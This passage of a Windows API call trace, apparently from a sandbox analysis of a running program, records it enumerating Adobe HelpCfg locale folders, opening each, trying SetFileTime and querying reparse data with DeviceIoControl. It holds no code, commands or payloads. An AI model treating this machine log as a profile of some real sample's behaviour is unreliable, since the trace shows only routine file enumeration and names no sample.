cAlternateFileName="")) returned 1 [0086.359] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.359] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.359] GetLastError () returned 0x12 [0086.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.360] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.360] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0086.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.361] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.361] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.362] NtClose (Handle=0x168) returned 0x0 [0086.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.362] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.363] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.363] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb1e8 [0086.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8d70 [0086.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.365] GetLastError () returned 0x12 [0086.365] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.365] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.365] GetLastError () returned 0x12 [0086.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.365] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0086.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.366] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.400] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.401] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.402] NtClose (Handle=0x180) returned 0x0 [0086.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.402] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.403] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.403] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb208 [0086.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8e78 [0086.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.405] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.405] GetLastError () returned 0x12 [0086.405] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.405] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.405] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.405] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.405] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.405] GetLastError () returned 0x12 [0086.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.405] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.406] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0086.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.440] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.441] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.441] NtClose (Handle=0x168) returned 0x0 [0086.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.442] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.442] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.442] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb228 [0086.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8f80 [0086.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.490] GetLastError () returned 0x12 [0086.490] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.490] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.490] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.490] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.490] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.490] GetLastError () returned 0x12 [0086.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.490] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.491] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, 